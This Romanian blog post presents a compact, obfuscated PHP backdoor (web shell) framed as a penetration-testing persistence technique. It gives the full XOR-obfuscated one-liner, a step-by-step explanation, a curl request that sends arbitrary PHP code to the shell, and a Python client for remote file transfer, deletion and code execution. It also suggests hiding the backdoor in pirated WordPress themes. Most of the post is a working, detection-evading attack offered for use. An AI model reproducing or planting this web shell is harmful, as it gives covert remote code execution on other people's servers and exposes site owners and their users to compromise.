Backdoor PHP cu client Python

PHP BackdoorScopul acestui articol este de a prezenta un backdoor PHP care este suficient de mic pentru a trece neobservat dar care permite executarea unor operații complexe. Menținerea accesului la un sistem compromis este un pas important în timpul testelor de penetrare. În cele mai multe cazuri, acest lucru se realizează utilizând backdoors. Acestea pot fi concepute fie ca programe individuale, fie ca parte a unui cod legitim. Când vorbim de un backdoor, indiferent de modul în care este conceput, contează foarte mult ca acesta să fie cât mai greu de descoperit.

Povestea poveștii

Cu toții iubim lucrurile gratuite, să nu ne ascundem după deget, chiar dacă sunt obținute din surse nu tocmai legale. De exemplu, în loc să cheltuim 25 $ pe o temă WordPress, putem să descărcăm versiunea „nulled” de pe un site nu tocmai ok. Acest lucru este valabil și pentru orice altceva. Și chiar dacă utilizați un plugin precum Exploit Scanner sau folosiți VirusTotal, nu puteți avea încredere deplină în ceea ce ați descărcat. Chiar și dacă am lua codul unei teme WordPress descărcate ilegal și l-am parcurge în totalitate, există întotdeauna o șansă de a scăpa ceva neobservat. Permiteți-mi să vă arăt cât de ușor este să adăugați un backdoor la un cod PHP astfel încât să fie greu de găsit.

Codul

Următorul cod a fost inspirat de Eric Schoffstall. Codul lui se poate găsi aici

După cum am menționat, scopul meu a fost să păstrez codul cât mai compact și să îl fac să nu sară în evidență. Iată ceea ce am obținut.

$_="@";$_=($_[+""]^"").($_[+""]^"").($_[+""]^"").($_[+""]^"");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';

Aici este o versiune mai prietenoasă pentru imprimantă.

$_="@";$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';

Mod de folosire

Comunicarea cu acest backdoor PHP se realizează prin intermediul cererilor HTTP POST. Acest lucru asigură că nu există nimic evident în jurnalele de acces ale serverului HTTP. Codul backdoor are doi parametri numiți „_” și „POST”. Trebuie să setați întotdeauna primul parametru cu valoarea „create_function”, în timp ce al doilea poate conține cod PHP. Backdoor-ul va crea o funcție cu codul furnizat în al doilea parametru și o va executa. Iată cum ați accesa backdoor-ul folosind CURL.

curl 'http://example.com/shell.php' -H 'Content-Type: application/x-www-form-urlencoded' --data '_=create_function&POST=echo+%27Hello+world%27%3B'

Disecarea codului

Prima instrucțiune este evidentă. Setează o variabilă la valoarea „@”.

$_="@";

Versiunea originală de la Eric Schoffstall folosește o altă inițializare. Din nefericire, versiunea sa generează mesaje de notificare pe anumite versiuni PHP

Cu ajutorul unor XOR-uri inteligente, această variabilă este transformată într-un șir de caractere care conține valoarea „POST”.

$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");

Pentru a face ca backdoor-ul să fie ușor de rupt în bucăți, puteți înlocui linia de mai sus cu patru instrucțiuni care fac același lucru.

$_=($_[+""]^"\020");
$_.=($_[+""]^"\037");
$_.=($_[+""]^"\003");
$_.=($_[+""]^"\004");

După cum am menționat, primul parametru este întotdeauna setat la „create_function”. Următoarea instrucțiune verifică dacă $_POST[‘_’] conține ceva și creează o funcție anonimă. Body-ul acestei funcții este setat la valoarea din cel de al doilea parametru. Referința către această funcție este stocată în aceeași variabilă $ _.

$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';

Ultima parte verifică dacă crearea funcției a reușit și face apelul funcției.

$_?$_():'';

Clientul Python

Pentru a interacționa cu backdoor-ul într-un mod mai facil am scris un mic client în Python. Puteți găsi clientul împreună cu backdoor-ul pe Github.

Python client

Cerințe

Clientul Python necesită Urwid, o biblioteca de interfață a consolei. Puteți să o instalați folosind pip.

pip install urwid

Mod de utilizare

Clientul are nevoie de un singur parametru. Acesta trebuie să indice către adresa URL a backdoor-ului PHP.

python client.py http://example.com/shell.php

Caracteristici

  • Navigare completă printre directoare de pe ambele mașini, atât cea locală cât și cea de la distanță.
  • Descărcare și încărcare de fișiere în mod binar.
  • Posibilitatea de a șterge fișiere.
  • Executarea unui cod PHP arbitrar pe mașina de la distanță.

T3ZlciBBbmQgT3V0IQ==

Articole recente

Be First to Comment

Lasă un răspuns

Acest site folosește Akismet pentru a reduce spamul. Află cum sunt procesate datele comentariilor tale.